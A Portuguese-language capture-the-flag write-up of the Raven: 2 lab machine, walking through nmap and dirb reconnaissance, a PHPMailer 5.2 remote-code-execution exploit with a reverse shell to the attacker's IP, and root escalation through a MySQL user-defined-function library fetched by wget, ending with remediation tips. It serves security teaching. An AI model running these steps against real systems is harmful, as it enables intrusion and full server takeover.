Pwning - Raven: 2

30 VMs em 30 dias [ 13 ] — Beco do Exploit

Mateus Taveira
7 min readDec 14, 2023

Material de Apoio

Objetivo

  • A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
  • Conseguir permissão root e ler a flag escondida

Reconhecimento

Como primeiro passo, precisamos definir nosso alvo, ou melhor, seu IP. A partir desse IP iremos ataca-lo, visto que estamos na mesma rede, e que os serviços ativos compõe nossa superfície de ataque. Para isso, podemos usar diversas ferramentas, como: nmap, netdiscover e arp-scan. Escolhemos a primeira opção, que já nos serviu muito bem:

nmap -sn <rede>/<mascara>

Com isso em mãos, usamos novamente o nmap, mas agora para enumerarmos as portas e seus relacionados serviços, a fim de atacarmos. Vamos fazer um scan completo, passando por todas portas (-p-), tentando descobrir o serviço (-sV) e sem enviar ICMP (-Pn):

sudo nmap -p- -sV -Pn <ip-addr>

Descobrimos algumas coisas interessantes como, logo de cara, que está rodando um serviço Web Apache na porta 80, vamos dar uma olhada?

Podemos ver que algumas das possíveis tecnologias que o site tem, mas há muitas coisas. Vamos procurar por algo mais específico. O que o robots.txt ou o sitemap.xml tem a nos falar?

Nada.

Bom, vamos tentar descobrir os caminhos que não deveríamos saber, por Bruteforce (força do ódio). Para isso, um Dirb nos será suficiente, mas você pode utilizar também um GoBuster, DirBuster ou qualquer uma das várias soluções para isso que existem.

dirb http://<ip-addr> <wordlist>

Executando, encontramos vários caminhos, mas dentre eles, há um curioso, o /vendor/, que é listável, ou seja, vamos ter acesso a arquivos que nunca chegaríamos por Buteforce, pois há nomes complexos.

Vamos dar uma olhada…

Huuum, logo de cara vemos alguns arquivos sensíveis, como SECURITY.md, VERSION, README.md e PATH. O que será que tem dentro deles?

No SECURITY.md, há avisos de segurança sobre vulnerabilidades no PHPMailer, com algumas referências de CVE’s, como se fosse um lembrete para atualizar a versão dele…

No VERSION, aparece uma versão, que pode ser de várias coisas, mas nesse contexto, tem maior probabilidade de ser do PHP, do PHPMailer, do Wordpress ou do Kernel Linux:

Já no arquivo chamado PATH, achamos informações sobre o caminho do site dentro do servidor web:

Por fim, no README.md, encontramos códigos referente à instalação do PHPMailer, que revela sua versão, a 5.2.

Será que há uma vulnerabilidade conhecida para essa versão dele? Vamos procurar com o searchsploit:

Aháaa!! Descobrimos que nessa versão há um RCE, vamos pegar esse exploit e copiar para o diretório atual pelo seguinte comando:

searchsploit -m <exploit>

Para executarmos, precisamos fazer algumas coisinhas:

1. Determinar encoding na primeira linha do script:

# -*- coding:utf-8 -*-

2. Alterar o IP, a porta, e o caminho do PHPMailer do alvo:

target = 'http://<ip-addr>:<porta>/<caminho>'

3. Mudar o IP que receberá a Shell reversa:

...s.connect((\\\'<ip-addr>\\\',<porta>));...

4. Colocar o caminho absoluto do site (cujo encontramos anteriormente no arquivo PATH):

E prontinho, basta executarmos com Python:

Podemos então testar, colocamos uma Handler para receber a Shell naquela porta que determinamos anteriormente, e acessamos o arquivo com um simples wget:

Aeeee!! Conseguimos nossa Shell, agora vamos melhora-la com Python

python -c "import pty;pty.spawn('/bin/bash')"

Escalação de Privilégios

Agora que temos acesso remoto ao servidor, nosso próximo passo é conseguir acesso administrativo (root). Para isso, são vários caminhos, vamos utilizar dessa vez a exploração de processos que estão rodando com permissão de root. Podemos verificar quais são da seguinte forma:

ps aux | grep root

Descobrimos imediatamente que o MySQL está rodando com esse elevado privilégio, ou seja, se conseguirmos controle dele, poderemos executar qualquer comando com permissão de root.

Vamos começar descobrindo a senha de algum usuário do MySQL. Para tal, lembramos da informação que descobrimos com o Wappalyzer lá na etapa de reconhecimento, que está rodando um Wordpress… E onde roda Wordpress, um usuário dele acessa o banco de dados! Vamos ver…

Dentro desse diretório “wordpress” temos o conhecido arquivo wp-config.php, que contém dados sensíveis…

Justamente a senha do root! E em texto puro! Que horror!

Podemos então acessar o banco de dados:

mysql -u root -p

Agora, para conseguirmos executar comandos de dentro dele, precisamos fazer uma tramoia, mas já fizeram isso antes, então facilitou muito. Vamos usar isso que fizeram para nos ajudar:

Certo, agora vamos compilar esse exploit como uma biblioteca de sistema, que seria equivalente à uma DLL no caso de um Windows.

Para isso, primeiro fazemos uma pré compilação dele, e em seguida compilamos o “.so” a partir disso, com as dependências necessárias.

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,<arquivo>.so -o <arquivo>.so 1518.o -lc

Agora enviamos esse binário para o alvo:

# Localmente
python -m http.server <porta>

# No alvo
wget http://<ip-addr>:<porta>/<arquivo>.so

Vamos então acessar o Banco de Dados de nome “mysql” através do MySQL e, logo em seguida, criamos uma tabela com um campo do tipo BLOB, para que suporte arquivos binários como dado:

USE mysql;
CREATE TABLE <tb_nome>(line blob);

Após isso, temos como inserir aquele nosso arquivo nesse campo da tabela recém criada da seguinte forma:

INSERT INTO <tb_nome> VALUES(load_file('/tmp/<arquivo>.so'));

Feito isso, podemos salvar esse binário dentro do caminho onde ficam as bibliotecas do Linux (/usr/lib/) com um simples SELECT:

Dessa forma, basta criarmos uma função SQL que chame esse arquivo e execute-o, é bem simples:

CREATE FUNCTION <func_nome> return integer soname '<arquivo>.so';

Mas deu um errozinho, que diz não ter encontrado o arquivo no diretório /usr/lib/mysql/plugin/, ou seja, é lá onde temos que enviar nossa biblioteca de sistema.

Agora sim!! Vamos tentar usar a nova função então? Direto com Reverse Shell porque estou confiante!

SELECT do_system('<comando>');

AHAHAHAHAH, e adivinha…

MÁQUINA OWNADA COM SUCESSO

Pós Exploração

Com acesso root na máquina, podemos fazer praticamente o que quisermos, então agora só nos resta nosso objetivo desde o início: A FLAG

E aqui está! Missão cumprida heheh

Correções de Vulnerabilidade

  • Não permitir a listagem de arquivos dentro de diretórios, pois facilita a exfiltração de seus dados;
  • Faça o máximo para esconder as versões das suas bibliotecas, plugins e temas;
  • Mantenha suas bibliotecas, plugins e temas sempre atualizados;
  • Não armazene senhas em texto puro;
  • Restrinja os privilégios para o usuário www-data;
  • Não rode processos como root sem necessidade e auditoria de riscos;

Mas caso prefira ser mais incisivo…

Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!

https://www.linkedin.com/in/mateus-taveira/

https://www.linkedin.com/in/luis-santos-defensive-security/

--

--

Mateus Taveira

💉Development runs through my veins. 🩸 Cyber Security is my blood.